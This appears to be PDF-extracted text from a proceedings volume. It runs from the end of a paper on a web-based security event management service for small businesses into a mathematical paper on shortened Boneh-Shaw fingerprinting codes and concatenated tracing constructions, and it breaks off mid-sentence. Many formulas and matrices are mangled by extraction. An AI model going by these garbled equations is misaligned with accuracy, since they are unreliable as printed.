the application server farm is to store the raw events to the database as well as process 
the events so that they can be used for short-term and long-term analyses. It also 
provides services to establish policies, and most housekeeping jobs for WESP-ASP 
managements. 
3)  Web Farm 
The web farm consists of three modules. The ‘ESM Web Application’ module is a 
web application program. The ‘Event Receiver’ module receives the events collected 
from the log server farm, and allows the system administrator to easily monitor each 
security equipment. ‘Real Time Statistics for Monitoring’ module computes statistics 
information in real time. 
(4) Report Server 
The report sever consists of two modules. The ‘Report Preview Web Application’ 
module is a web application program that provides the users with statistics reports 
upon requests. The ‘Report Scheduler’ module produces reports that are already 
scheduled. The reports can also be sent by email to the subscribers. 

The main functionality of an ESM system is to provide real time statistics to the 
users. Our WESM-ASP produces various types of reports for individual enterprises. 
Reports can be for individual equipments or for a meaningful group of equipments. 
Reports can be created on various time-period bases such as daily, weekly, monthly, 
quarterly and yearly. Reports can be viewed through web browsers and be sent to the 
users by email. Due to such heavy workloads, WESM-ASP has a separate web server 
for reporting services only. In order to maximize the performance, WESM-ASP uses 
main memory DB.  

We developed WESM-ASP, and it is currently being run as a commercial 
application service at KT Bizmeka with 3,000 members of small/medium businesses. 
The current configuration of WESM-ASP is as follows. It runs on MS Windows 
Server 2003 Enterprise Edition with .NET Framework 1.1. Its DBMS is  SQL Server 
2000 Enterprise Edition with Service Pack 4. It uses MS IIS 6.0 web server. The 
development and implementation was done with Enterprise Architect 4.1 and Visual 
Studio .Net 2003 Enterprise Developer. It was implemented in C#.NET and 
ASP.NET. Crystal Report v10.0 was used for implementing reporting services. 

4   Performance Evaluation 

We conducted some experiments to evaluate the performance of our prototype 
system. We generated a test scenario and used MS’s Application Center Test (ACT) 
for the evaluation. The test scenario is as follows: The log server collects and stores 
raw data from the security equipments. It transforms some data that satisfy the 
predefined conditions to events and sends them  to the process server. The log server 
constantly watches the network traffic to locate the top 10 most frequently occurring 
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types of attacks. For such attacks, the log server sends the pairs of the source IP and 
the destination IP to the process server. 

The process server stores in the DB the events that are received from the log 
server. It also accumulates in the DB the pairs of the source IP and the destination IP 
that are received from the log server.  The process server analyzes the received data 
and computes statistics upon users’ requests.  

The web server processes the users’ requests. It is assumed that the users’ requests 
include the list of the source IP’s and the destination IP’s that are incident to the top 
10 most frequently occurring types of attacks and the list of raw logs and events that 
satisfy certain conditions. In order to provide such statistics to the users, the web 
server requests proper services to the process server. 

Table 1 shows the configuration of the test system. Note that the test system 
consists of only 4 servers. Table 2 shows the performance metrics we used to evaluate 
the performance of the system. We used 4 measures that checked the CPU loads, the 
number of page faults, the number of I/O requests, and the number of blocked threads. 
It is assumed that the number of logs generated from the security equipments is 
around 30 million, while the number of concurrent web users is 300, and each user 
requests 20 transactions per session of around 1 minute. The test ran for 5 minutes. 

Table 1. The configuration of the test system 

Server Model CPU RAM 
Web Server HP Pavilion t667k Intel Pentium 4 CPU 3.00GHz 1GB 

DBMS Server DL580 G2 
4 Intel Xeon MP CPU 

2.50GHz 
2GB 

Process Server DL380 G3 4 Intel Xeon CPU 2.80GHz 2GB 

Log Server HP Parvilion t667k Intel Pentium 4 CPU 3.00GHz 1GB 

Table 2. Performance Measures 

Performance Measures Description 

CPU loads Time to execute threads 

Page Faults Number of page faults 

Disk Queue Length Number of I/O requests in the disk waiting list 

Processor Queue Length Number of blocked threads 

Fig. 4 shows the CPU loads. The CPU loads of the servers are reasonably low 
except the DB server whose load becomes over 75% after 2 minutes 30 seconds have 
passed. Fig. 5 indicates the number of page faults. The numbers of page faults of the 
servers except that of the log server is negligible. Fig. 6 shows the average number of 
I/O requests waiting in the disk queue. At most 0.5 requests are waiting in the queues 
of all the servers. Fig. 7 shows the average number of blocked threads waiting for 
 



286 Y. Lim et al. 

 

  

Fig. 4. CPU loads                                 Fig. 5. Number of page faults 

   

                  Fig. 6. Disk Queue Length                              Fig. 7. Processor Queue Length 

CPU service. It rarely happens that the number of waiting threads becomes larger than 
2 . Thus, the overall performance is considered to be reasonably good. 

Prompted by the test results, we upgraded the CPUs of all the servers to Inter 4 
CPU 3.6GHz, and increased the number of web servers, processor servers, log servers 
to 2, 2, 3, respectively. With this configuration, WESM-ASP can process 30 million 
logs per day, 300 concurrent web users, 115 transactions per second with 2.5 seconds 
of response time. The test results also show that the system can operate without 
encountering serious problems even though the number of security equipments 
increases by 30% every year. The test results also suggest that WESM-ASP can be 
safely operated for the next three years with the upgraded system configuration. Fig. 8 
shows the real-time security equipment monitoring window of WESM-ASP which is 
installed at KT Bismeka. Note that we purposely erased security critical information 
from the window, and it is written in Korean. 
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Fig. 8. Real-time monitoring window of WESM-ASP 

5   Conclusions 

Enterprises that use the Internet for their businesses face security threats such as 
viruses, worms, spyware, hackers’ attacks, etc. In order to protect their information 
assets from those attacks, enterprises have been developing or outsourcing  ESMs that 
manage their entire security equipments. However, it is very costly and difficult for 
small/medium businesses to develop, outsource, and/or maintain an ESM. We 
propose the architecture of a web-based ESM (WESM-ASP) that can be used as an 
ASP solution. 

WESM-ASP provides real-time services to the users. It is designed to be flexible, 
extendable, and highly available. It provides personalized services to the users. It can 
easily be deployed and installed without visiting the users’ sites. All the services are 
web-based. The current version of WESM-ASP can handle 30 million logs per day, 
and serve 300 concurrent web users with 20 transactions per session. It is now 
running as a commercial application service at KT Bizmeka, which is one of the 
largest Korean ASPs. 

The current version of WESM-ASP produces various types of statistics and reports 
for individual enterprises. However, its functions can further be enhanced by 
incorporating the technologies of advanced multidimensional analysis and mining for 
stream data.  
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Abstract. A fingerprinting code is a set of codewords that are embed-
ded in each copy of a digital object with the purpose of making each
copy unique. If the fingerprinting code is c-secure with ε error, then the
decoding of a pirate word created by a coalition of at most c dishonest
users, will expose at least one of the guilty parties with probability 1− ε.

The Boneh-Shaw fingerprinting codes are n-secure codes with ε error,
where n also denotes the number of authorized users. Unfortunately,
the length the Boneh-Shaw codes should be of order O(n3 log(n/ε)),
which is prohibitive for practical applications. In this paper, we prove
that the Boneh-Shaw codes are (c < n)-secure for lengths of order
O(nc2 log(n/ε)).

Moreover we show how to use these codes to construct binary fin-
gerprinting codes with length L = O(c6 log c log n), with probability of
error O(1/n) = exp(−Ω(L)), and identification algorithm of complexity
poly(log n) = poly(L). These results improve in some aspects the best
known schemes and with a much more simple construction.

Keywords: Fingerprinting, Intellectual Property Protection, Electronic
Commerce Security, Information Hiding and Watermarking.

1 Introduction

In the multimedia content market, there is the need to protect both intellectual
property and distribution rights against dishonest buyers. Encrypting the data
only offers protection as long as the data remains encrypted, since once an au-
thorized but fraudulent user decrypts it, nothing stops him from redistributing
the data without having to worry about being traced back.

The fingerprinting technique consists in the insertion of a different set of marks
in each copy of a digital object. Having unique copies of an object clearly rules out
plain redistribution, but still a coalition of dishonest users (traitors) can collude
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compare their copies and by changing the marks where their copies differ, they
can create a pirate copy that disguises their identities. Thus the fingerprinting
problem consists in finding the right set of marks to embed in each copy of an
object to prevent collusion attacks. Each user is assigned a codeword from a
fingerprinting code, if the code is secure against a coalition of size c, it is called
a c-secure code. A c-secure code guarantees that at least one of the members of
the coalition can be traced.

Collusion secure fingerprinting fundamentals derive from the breakthrough
work of Boneh and Shaw in [2], where they present a collusion n-secure code
with ε error, where n represents the total number of authorized users, and ε
denotes the probability of not identifying a traitor user.

Unfortunately, the large length of the n-secure Boneh-Shaw code, which is
O(n3 log(n/ε)), seriously restricts the range of its practical applications. How-
ever, in practical scenarios we will rarely encounter a traitor coalition that con-
sists of all authorized users, therefore c-secure codes, with c < n suffice. In this
paper we show that for c < n the length of the Boneh-Shaw codes can be reduced
to O(nc2 log(n/ε)).

Moreover, Boneh and Shaw, also in [2], they provide a concatenated con-
struction with a better asymptotical behavior by concatenating their code with
a random code. In this construction the symbols of the alphabet of the ran-
dom code are encoded using the Boneh-Shaw code. The resulting concatenated
codes are c-secure fingerprinting codes of length O(c4 log(N/ε) log(1/ε)), where
N represents the number of authorized users. However, due to the random na-
ture of the outer code, in this construction, as noted by Barg et al. in [1], the
best known algorithms for the decoding of the outer code, which is an NP-hard
problem, require complexity of order N .

Later, Barg et al. in [1], show the existence of c-secure fingerprinting codes,
with error probability less than exp(−Ω(log N)), of length L = O(log N) and
decoding algorithm of complexity poly(log N). Their construction is based on
the concatenation of algebraic geometric (AG) codes, and binary (c, c)-separable
codes, using as the decoding algorithm the Guruswani-Sudan list decoding al-
gorithm for the AG code and an exhaustive search for the (c, c)-separable code.
This construction improves in several aspects the construction in [2]. First of
all it disposes of an efficient decoding algorithm. Moreover, for a fixed c, it is
asymptotically better in N and ε. The weak point of these codes is the construc-
tion and decoding of the (c, c)-separable codes for large values of c, because of
their O(2c) length.

Here we propose a new construction that is a combination of the construc-
tions in [2] and [1]. We define new codes that use asymptotically good AG
codes concatenated with Boneh-Shaw codes. The error probability of the con-
catenated construction is O(1/N) = exp(−Ω(log N)), with length of order L =
O(c6 log c log N), and a decoding (tracing) algorithm of complexity poly(log N).
With this construction we improve the Boneh and Shaw construction because we
dispose of a polynomial time decoding algorithm, and the Barg et al. construction
because we use Boneh-Shaw codes instead of (c, c)-separable codes, therefore the
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length of the code does not increase exponentially with c, and more important,
it is encodable and decodable in a very simple way for any value of c.

We will like to note, that in the literature there exist some constructions for
fingerprinting codes [6] that achieve a code length of order O(c2log(n/ε)). How-
ever, these codes are based on random constructions, and therefore have the need
to use a brute force algorithm in the identification process. Our approach here
is to improve on existing constructions in order to provide a full fingerprinting
scheme that allows tracing the guilty users efficiently.

The paper is organized as follows. In Section 2 we give an overview of the
Boneh-Shaw n-secure code. In Section 3 we show that when c < n the Boneh-
Shaw code can be shortened while maintaining the same error probability. Sec-
tion 4 deals with the construction of binary fingerprinting codes by concate-
nating algebraic-geometric error correcting codes with large enough minimum
distance, with the Boneh-Shaw code. As a conclusion, in Section 5 we compare
our constructions with previous work on fingerprinting codes. Moreover the pa-
per includes an appendix with several probability results that are needed in the
exposition and that might be of independent interest.

2 The Boneh-Shaw n-Secure Code

Following [1][2] (we refer readers to these papers for a more detailed exposition),
given a subset X ⊆ IFn

q (IFq is the field of q elements,), we define the undetectable
positions of X as the components i such that xr

i = xs
i , ∀xr,xs ∈ X , where

xr = (xr
1, . . . , x

r
n). The undetectable positions form a set denoted by Z(X).

Then we define the envelope E(X) ⊆ IFn
q of X as a set of words than can be

derived from X . By the marking assumption, the positions in Z(X) can not be
modified, thus if y ∈ E(X) then yi = xr

i , ∀i ∈ Z(X), ∀xr ∈ X . Here we will
consider two envelope definitions, the narrow-sense envelope

e(X) = {y = (y1, . . . , yn) ∈ (IFq∪?)n|yi ∈
⋃

xr∈X

(xr
i ∪?)}.

and the wide-sense envelope

E(X) = {y = (y1, . . . , yn) ∈ (IFq∪?)n|yi = xr
i , for i ∈ Z(X), xr ∈ X}.

If y ∈ E(X) then y is a descendant of X and any x ∈ X is a parent of y. Note
that for the binary case, q = 2, these two envelope definitions are equivalent. As
we will focus on the binary case, in what follows, we will represent the envelope
of X as E(X). Moreover, note that since some of the bits in the descendant
might be unreadable, then following the convention of Boneh and Shaw in [2],
we set these bits to “0” before entering the tracing algorithm.

With the above notation, the fingerprinting problem can be summarized as
follows. Let us consider a code C and a c-coalition with fingerprints (codewords)
T = {t1, t2, . . . , tc} ⊂ C. The coalition creates a new false fingerprint z ∈ E(T )
and the distributor D needs to determine which codewords can produce z, that
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is, D determines a set G = {x1, . . . ,xf} such that z ∈ E(G). If ∅ �= G ⊆ T then
the code is c-secure.

Boneh and Shaw, in [2] prove that there are no totally c-secure binary codes,
that is, any fingerprinting code C, together with an identification algorithm D,
it has some error probability, that is, the returned set G can be empty, or some
innocent user can be framed, in other words G �⊆ T .

The authors in [2] construct a fingerprinting code n-secure with error proba-
bility less than ε. The BS(n, r) code consists of columns of type

ck = (

k︷ ︸︸ ︷
1 · · · 1

l︷ ︸︸ ︷
0 · · · 0)T ,

for 1 ≤ k ≤ n − 1, n = k + l, where n is the number of users. Moreover each
column is repeated r times, generating identical column blocks denoted by Cr

k .
If we consider the n × r(n − 1) matrix C = (Cr

1 , . . . , Cr
n−1), then each row

conforms a code word. Then, if each user is unambiguously identified by integer
i, where 1 ≤ i ≤ n, the scheme assigns codeword (fingerprint/row matrix) i,
1 ≤ i ≤ n to user i. Before embedding the codeword into the digital content a
random permutation of the positions is performed.

A traitor coalition colludes to create a false fingerprint z, according to the
marking assumption. In the identification algorithm, the codewords, of length
r(n − 1), are divided in n − 1 blocks, denoted by Mi, i = 1, . . . , n − 1, that
represent the positions corresponding to the block Cr

i . Taking w(Mi) to be the
Hamming weight of block Mi of z, the decoding rules consider user i, 1 < i < n,
one of the traitors if w(Mi) − w(Mi−1) > λi, where

λi =
√

2(w(Mi−1) + w(Mi)) log(2n/ε).

Moreover, users 1 and/or n are traitors if w(M1) > 0 and/or w(Mn−1) < r.
In [2] it is proved that the BS(n, r) code together with this decoding algorithm
is n-secure with error probability ε, with a code length of order O(n3 log(n/ε)).

3 The Boneh-Shaw (c < n)-Secure Code

The BS(n, r) code is n-secure against any coalition independently of its size.
Below, we show how by applying similar decoding rules as the ones in [2], BS(n, r)
codes of length O(nc2 log(n/ε)) are c-secure with ε error.

3.1 Initial Definitions and Notation

A coalition of c traitors can be denoted by T = {t1 < · · · < tj < · · · < tc},
1 ≤ tj ≤ n. From the matrix C = (Cr

1 , . . . , Cr
n−1), defined in the previous

section, we see that the coalition T determines at most c + 1 different block
(column) types, although, according with the marking assumption, the coalition
can only distinguish/modify c − 1 of them. These c − 1 blocks are determined
by Sti = Mti ∪ Mti+1 ∪ · · · ∪ Mti+1−1, where ti ∈ T − {tc}. In order to avoid
confusion, we will call the blocks Sti superblocks.
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Example 1. For n = 8 and r = 3, the matrix C is defined as

C =

�
�������������

M1����
111

M2����
111

M3����
111

M4����
111

M5����
111

M6����
111

M7����
111

000 111 111 111 111 111 111
000 000 111 111 111 111 111
000 000 000 111 111 111 111
000 000 000 000 111 111 111
000 000 000 000 000 111 111
000 000 000 000 000 000 111
000 000 000 000 000 000 000

�
												


1
2
3
4
5
6
7
8

If the coalition consists of users 2, 4, 6, then c = 3, t1 = 2, t2 = 4, and tc = t3 = 6,
and we have the following c + 1 = 4 different column types. Note that for the sake of
simplicity, we are ignoring the random permutation of the columns.

M1����
000

S2=M2∪M3� �� �
111 111

S4=M4∪M5� �� �
111 111

M6∪M7� �� �
111 111 t1 = 2

000 000 000 111 111 111 111 t2 = 4
000 000 000 000 000 111 111 t3 = 6

It is clearly seen that only c − 1 = 2 (S2 and S4) of the column types can be modified.

In what follows, z denotes a false fingerprint (descendant) created by coalition
T . Given any block of symbols Mj ∈ Sti of z, the probability p(w(Mj) = d) is
determined by an hypergeometric random variable Y i

m, with mean μi = E(Y i
m) =

m/si, where si is the number of blocks that determine Sti and m = w(Sti) is the
Hamming weight of the superblock (see the Appendix (Section A) for details).

We want to define an algorithm D that given a false fingerprinting z produced
by any coalition T of at most c users, then D returns a set G with at least one
coalition member, and with error probability as small as we want. That is, given
any ε > 0, we compute D(z) = G such that p(∅ �= G ⊆ T) > 1 − ε, where T are
the codewords assigned to T .

Our algorithm, that mimics the algorithm in [2], can be stated in a very simple
way. We identify user i as guilty if:

1. w(M0) > 0 user 1 is guilty.
2. w(Mn) < r user n is guilty.
3. for 0 < i < n user i is guilty if w(Mi) − w(Mi−1) > 2λ

Thus, we need to determine the appropriate values for λ and r. We divide
the algorithm discussion in two parts. First we compute the probability that our
algorithm can frame an innocent user, and later we compute the probability that
our algorithm returns some coalition member.

3.2 Framing Innocent Users

We start our development by first dealing with the probability of framing inno-
cent users. This is the probability that an innocent user is taken to be guilty. Of
course, any tracing strategy should be designed to minimize this probability.
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Intuitively our reasoning is as follows. If users ti + 1, ti + 2, . . . , ti+1 − 1 are
innocent, then the columns in the superblock Sti = Mti ∪ Mti+1 ∪ · · · ∪ Mti+1−1
are indistinguishable by the coalition, and therefore the distribution of 1’s in the
blocks Mti , Mti+1, · · · , Mti+1−1 of any descendant z should be approximately the
same.

According to the previous reasoning, given a false fingerprint z, the tracing
strategy should be based in the weight difference between consecutive blocks
of symbols Mj , Mj+1 ∈ Sti . If a given user, say j, is innocent then the weight
difference w(Mj) − w(Mj−1) will be small.

Therefore, we define

λ :=

√
2r log

4n

ε

and we can prove the following results (the motivation for this definition of λ
is based on the Chernoff bound, and will hopefully be clear as the exposition
progresses).

Proposition 1. Let Mj ∈ Sti , with μi = E(Y i
m), then

p (w(Mj) − μi < −λ) ≤ ε

4n
, and p (w(Mj) − μi > λ) ≤ ε

4n

Proof. Noting that μi ≤ r and applying equation (3) (of the appendix) we have

p

(
w(Mj) − μi < −

√
2r log

4n

ε

)
≤ e

− log
4n

ε =
ε

4n
.

The second part of the proposition is a consequence of Lemma 2 of the Ap-
pendix A.


�

Corollary 1. Let Mj, Mj+1 ∈ Sti , then p (w(Mj+1) − w(Mj) > 2λ) ≤ ε

2n
.

Proof. Since μi = E(Y i
m) we have that

p (w(Mj+1) − w(Mj) > 2λ) = p ((w(Mj+1) − μi) + (μi − w(Mj)) > 2λ) ≤

≤ p (w(Mj+1) − μi > λ) + p (w(Mj) − μi < −λ) ,

then the corollary follows by Proposition 1.

�

Thus Corollary 1 says that if user j is not guilty, then

p (w(Mj) − w(Mj−1) > 2λ) ≤ ε

2n
,

in other words, the probability of framing an innocent user is less than ε/2 and
can be made as small as desired. Therefore λ determines an appropriate criterion
to decide if an user is guilty or not. However, we still need to show how to identify
at least one coalition member using this value of λ. Below we show how to
do this.
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3.3 Identifying the Traitors

In this section we discuss the identification of guilty users. Again we first provide
an intuitive explanation. Note that if traitors do not want to be identified then
they need to make transitions between superblocks smooth. This is equivalent to
saying that the weight of the Mi’s within a superblock also increases smoothly.
Since a permutation is performed before embedding the code word symbols, the
probability of achieving this smoothness is low.

For every Sti , we consider the weight difference between the first and last
blocks of symbols by defining αti := w(Mti+1−1) − w(Mti), for ti ∈ T \ {tc}
and αtc := 0 for tc. Moreover, for every Sti , ti ∈ T \ {t1, tc}, we define βti :=
w(Mti)−w(Mti−1). If tc �= n we define βtc := w(Mtc)−w(Mtc−1), and if t1 �= 1
we define βt1 := w(M1), otherwise βt1 = βtc := 0.

In the above example the previous definitions are as follows:

M1︷︸︸︷
000

S2=M2∪M3︷ ︸︸ ︷
111 111

S4=M4∪M5︷ ︸︸ ︷
111 111

M6∪M7︷ ︸︸ ︷
111 111 t1 = 2

000 000 000 111 111 111 111 t2 = 4
000 000 000 000 000 111 111 t3 = 6
000 010 100︸ ︷︷ ︸

α2=0

011 101︸ ︷︷ ︸
α4=0

111 111 z

M1︷︸︸︷
000

S2=M2∪M3︷ ︸︸ ︷
111 111

S4=M4∪M5︷ ︸︸ ︷
111 111

M6∪M7︷ ︸︸ ︷
111 111 t1 = 2

000 000 000 111 111 111 111 t2 = 4
000 000 000 000 000 111 111 t3 = 6
000 010︸︷︷︸

β2=1

100 011︸ ︷︷ ︸
β4=1

101 111︸ ︷︷ ︸
β6=1

111 z

Then by Corollary 1 it is immediate to see that p (αti > 2λ) ≤ ε/(2n). More-
over, the sum of the αti ’s is bounded, as the following proposition shows.

Proposition 2.

p

(
∑

ti∈T

αti > 2
√

c − 1λ

)
≤ ε

2n
.

Proof.

p

(
∑

ti∈T

αti > 2
√

c − 1λ

)
= p

⎛

⎝
∑

ti∈T\{tc}
w(Mti+1−1) − w(Mti) > 2

√
c − 1λ

⎞

⎠ =

= p

(
c−1∑

i=1

w(Mti+1−1) − μi + μi − w(Mti) > 2
√

c − 1λ

)
≤

≤ p

(
c−1∑

i=1

(w(Mti+1−1) − μi) >
√

c − 1λ

)
+ p

(
c−1∑

i=1

(μi − w(Mti)) >
√

c − 1λ

)
.
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Then the proposition is a direct consequence of Lemma 3, Lemma 4 of the
Appendix A and Proposition 1.


�
Thus finally, we can prove the following theorem.

Theorem 1. The BS(n, r) code, with

r ≥ 8(c +
√

c − 1)2 log(4n/ε),

that is, of length O(nc2 log(n/ε)), is c-secure with error probability less than ε.

Proof. We first note that if w(M1) > 0 and/or w(Mn−1) < r, we can incriminate
with error probability 0 users 1 and/or n respectively. Therefore, we assume that
w(M1) = 0 and w(Mn−1) = r, and it is a simple task to show that

∑
ti∈T βti +∑

ti∈T αti = r.
Since we have seen that

∑
ti∈T αti is bounded, it is only left to see that there

exists some value βti such that βti ≥ 2λ, since this will allow us to incriminate
at least one member of the coalition.

By proposition 2, with probability 1 − ε/(2n)

r =
∑

ti∈T

βti +
∑

ti∈T

αti <
∑

ti∈T

βti + 2
√

c − 1λ

so, if (r − 2
√

c − 1λ)/c ≥ 2λ then there must exist a βti > 2λ. Therefore we are
able to incriminate a coalition member if

r ≥ 8(c +
√

c − 1)2 log
4n

ε
.

Then, the probability of success is that at least one guilty user is returned and
no innocent user is returned, that is, the success probability is greater than

(
1 − ε

2n

)(
1 − ε

2

)
> 1 − ε.


�

3.4 Tracing Algorithm

In view of the previous results we can define a tracing algorithm, that given a
false fingerprint returns a coalition member with error probability ε. Note that
the proposed algorithm only needs to run one time over the bits of the false
fingerprint, that is, the complexity time is O(nc2 log(n/ε)).

Tracing algorithm:

Input:

– BS(n, r) code with r > 8(c +
√

c − 1)2 log 4n
ε

– descendant z generated by at most c traitors.

Output: List G that contains at least a guilty user with probability 1 − ε.
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ALGORITHM

1. // Initialization:
(a) Set G = ∅.

(b) Compute λ :=
√

2r log
( 4n

ε

)

2. // Identification
(a) if w(M1) �= 0 insert 1 in G.
(b) if w(Mn−1) �= r insert n in G.
(c) for i = 2 to n − 1

if w(Mi) − w(Mi−1) > 2λ insert i in G.
3. Output G.

4 Concatenated Constructions

Obviously, previous fingerprinting codes are not useful for practical applications
because of their length. To construct practical (shorter) fingerprinting codes we
will use the idea of concatenation [3].

Let W be a [n, k, d] code over IFq, where n is the code length, k the dimension,
that is, the code has N = qk codewords (users), and d the minimum Hamming
distance of the code. Let V be a BS(q, r) c-secure code. Then the concatenated
code C = V ◦ W is the code obtained by taking the words w = (w1, . . . , wn) ∈
W ⊂ IFn

q , and mapping every symbol wi ∈ IFq on a word V (wi) ∈ V . The code
W is called the outer code and V the inner code.

Concatenated codes are often decoded by first decoding the inner code, thus
obtaining a word of symbols from the outer code alphabet. Then, in a second
step, this word is decoded with a decoding algorithm designed for the outer code.

In what follows, we first determine the properties that the outer code needs to
meet in order to determine a good fingerprinting code when concatenated with
a BS code. Then we show that such a code exists and finally we show how to
efficiently identify a coalition member using this code.

Theorem 2. Let W be a [n, d] code over IFq, with d > n−n(1−σ)/c2, with 0 <
σ < 1. Let V = BS(q, r) be a c-secure Boneh-Shaw code with error probability εB,
where εB < σ. Then the concatenated code C = V ◦W is a c-secure fingerprinting
code with error probability pe = exp(−Ω(n)).

Proof. Let U = {c1, . . . , cc} be the codewords associated to a c-coalition, where
cj = (V (cj

1), . . . , V (cj
n)) ∈ C and cj = (cj

1, . . . , c
j
n) ∈ W , for 1 ≤ j ≤ c.

Given a false fingerprint

z = (z1
1 , . . . , z1

(q−1)r, . . . , z
n
1 , . . . , zn

(q−1)r)

when decoding each block zj = (zj
1, . . . , z

j
(q−1)r) using the decoding algorithm

for the BS inner code V , we obtain a symbol Zj ∈ IFq that, with probability
1 − εB belongs to one of the codewords of some member of the c-coalition, in
other words, p(Zj ∈ {c1

j , . . . , c
c
j}) ≥ 1 − εB .
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Clearly, the error probability of each symbol is independent, thus we can
model the number of errors produced in the inner decoding process by n Bernoulli
random variables θi, equal to 1 with probability εB and 0 with probability 1−εB.
The probability of the tail can be bounded as

p

(
n∑

i=1

θi ≥ nσ

)
≤ 2−nD(σ||εB).

where σ > εB and D(σ||εB) = σ log2(σ/εB) + (1 − σ) log2((1 − σ)/(1 − εB)).
Thus, after decoding the inner code, we recover a false fingerprint Z =

(Z1, . . . , Zn) ∈ IFn
q where p(|{Zj |Zj ∈ {c1

j , . . . , c
c
j}}| ≥ n−nσ) ≥ 1−2−nD(σ||εB).

That is, with error probability less than 2−nD(σ||εB), there exists some coalition
codeword cj ∈ U such that d(Z, cj) ≤ n − n(1 − σ)/c.

From the hypothesis of the theorem, any two codewords u,w ∈ W , satisfy

d(u,w) > n − n
1 − σ

c2 .

Now, for any v ∈ W , not a coalition member codeword,

n − d(v, Z) ≤
c∑

j=1

(
n − d(v, cj)

)
< c

(
n

1 − σ

c2

)
= n

1 − σ

c
.

Thus, for any v ∈ W , not a coalition member codeword, d(v, Z) > d(cj , Z), for
some cj ∈ U , with error probability less that 2−nD(σ||εB). As the code contains qk

codewords, we have that with error probability pe ≤ qk2−nD(σ||εB), a codeword
in W associated to a coalition member is close to the false fingerprint Z than
any other codeword in W , thus we can identify by minimum Hamming distance
one of the members of the coalition, proving the theorem.


�
From the previous theorem, we know the properties of the desired codes, but it
remains to prove the existence of such codes.

Next theorem proves the existence of the codes determined by Theorem 2, and
relates the number of users (codewords) with the length and the error probability
of the c-secure concatenated fingerprinting code.

Theorem 3. There exist c-secure fingerprinting codes with N codewords, length
L = O(c6 log c log N), and error probability pe = O(1/N).

Proof. It is well known [7] the existence of families of algebraic-geometric codes
(AG), with parameters [n, k, d], over a finite field IFq, whose parameters asymp-
totically approach the Tsfasman-Vlăduţ-Zink bound k/n ≥ 1−1/(

√
q−1)−d/n.

These codes satisfy n = O(log N), where N is the number of codewords.
Let W be one of the AG codes that approach the Tsfasman-Vlăduţ-Zink

bound, with d > n − n(1 − σ)/c2, where 0 < σ < 1, then

n

(
1 − 1 − σ

c2

)
< d < n

(
1 − 1

√
q − 1

)

that is, a sufficient condition for the existence of such a code is
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1 − σ >
c2

√
q − 1

. (1)

but as 0 < σ < 1, if
√

q − 1 > c2 the code exists.
The length LB of the inner code BS(q, r) , by proposition 1, satisfies

LB ≥ 8q(c +
√

c − 1)2 log
4q

εB
,

where εB < σ. By the inequality in (1) we have q = O(c4), thus

LB = O
(
c6 log c

)
.

Therefore, the length of the concatenated code C = BS(q, r) ◦ W is L = LBn =
O(c6 log c log N).

Moreover, as the code satisfies the conditions in theorem 2 we have that
pe ≤ qk2−nD(σ||εB), thus proving the theorem.


�

4.1 Tracing Algorithm

From the previous discussion we know that we can construct asymptotically
good fingerprinting codes that allow the identification of a coalition member by
a minimum Hamming distance criteria, but we have not shown how to do this
identification in an efficient manner.

First note that the decoding process of the inner code, using the algorithm
proposed in Section 3 , requires only q −2 blocks comparisons, where each block
has length L = O

(
c2 log c

)
. Therefore, the decoding time complexity for the

inner code is O
(
c6 log c

)
.

The decoding process for the outer code needs to recover a codeword that
differs in no more than n − n(1 − σ)/c symbols from the false fingerprint. As we
have seen in theorem 3, we can use AG codes as outer codes, thus we can use
the Guruswani-Sudan list decoding algorithm to decode them, an algorithm of
poly(n) complexity.

The Guruswani-Sudan (GS) algorithm (see [4] for a detailed exposition) can
be described as follows. Let C be an AG code with parameters [n, k, d] over IFq.
Then, given any vector x = (x1, . . . , xn) ∈ IFn

q , the GS algorithm returns a list
of all codewords u = (u1, . . . , un) ∈ C such that

d(u,x) < n −
√

n(n − d)

Thus, for our purposes, it is necessary that

n − n(1 − σ)/c ≤ n −
√

n(n − d)

that is nσ/c ≤ n/c −
√

n(n − d). The last equation can be rewritten as

1 − σ

c
≥

√
1 − δ

where δ = d/n.
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By the Tsfasman-Vlăduţ-Zink bound, 1 − δ ≤ 1/(
√

q − 1), thus a sufficient
condition for the existence of a code with these properties is

(1 − σ)2 >
c2

√
q − 1

but as in Theorem 3, if
√

q − 1 > c2 the code exists. Therefore we have proved
next theorem.

Theorem 4. Let W be an algebraic-geometric code [n, k, d] over IFq, with N =
qk codewords, where d > n − n(1 − σ)/c2 and

√
q > c2/(1 − σ)2 + 1. Let V

be a BS(q, r) c-secure Boneh-Shaw code with error probability εB < σ. Then
the concatenated code C = V ◦ W is a c-secure fingerprinting code with error
probability pe ≤ qk2−nD(σ||εB), length L = O(c6 log c log N) and identification
algorithm complexity poly(logN).

Finally, we only want to point out that Reed-Solomon (RS) codes can be used
as outer codes, obtaining reasonable lengths, however no asymptotically good
codes. The RS codes are very easy to manipulate (encode/decode), but they
have the not desirable property that n = q, that is, their length coincides with
the cardinal of their alphabet.

Thus, when we concatenate a RS[n, k] code with a BS(n, r), that is, C =
BS(n, r) ◦ RS(n, k), with have LC = O(c2n2). Note that the error probability
does not change.

5 Comparison with Previous Constructions

As a conclusion we compare our construction with previous work on fingerprint-
ing codes.

The construction presented in this correspondence is a combination of the
constructions of Boneh and Shaw in [2] and of Barg et al. in [1]. As one imme-
diately sees, the resulting construction is a concatenated code where the outer
code is from the same family of codes as the outer codes used in [1] and the
inner code is the code discussed in [2]. In a sense we have tried to obtain a new
code by borrowing from the key features of these previous schemes.

Among the variable parameters of the construction of a fingerprinting code,
that is, the number of users N , the coalition size c and the error probability
ε, we think that c and N are in some way correlated, because the probability
of great coalitions necessary increases with N , thus for asymptotic results, the
behavior in c must be take in account.

The Boneh-Shaw codes proposed in [2] satisfy L = O(c4 log(N/ε) log(1/ε)).
Moreover, when fixed N and ε, L = O(c4), thus better than our construction.
The weak point of the BS concatenated codes is the outer random code, thus
this implies, for large N , the impossibility of constructing/decoding these codes.

The codes in proposed by Barg et al. [1], where c is fixed have the same
asymptotic behavior that the codes proposed here. The weak point of codes in
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[1] is the inner code, thus it is difficult to construct such a codes, especially for
a large value of c.

For the inner code, in [1] (c, c)-separable codes are used. In Proposition 4.3
of [1], the existence of (c, c)-separable codes is proved, and the following lower
bound for the rate is provided

R ≥ −
log

(
1 − 1

22c−1

)

2c − 1
− 1

m

where m is the code length. Thus,

m ≤ (log2 q − 1) (2c − 1)

− log
(

1 − 1
22c−1

)

Note that when c increases this bound can be approximated by m ≤ 22c2c log2 q,
therefore, the concatenated constructions in [1] can achieve lengths of order
22c log N.

Thus, even thought we do not consider the difficulty of construction, saving
and decoding the (c, c)-separable code, for a relatively large values of c, that in
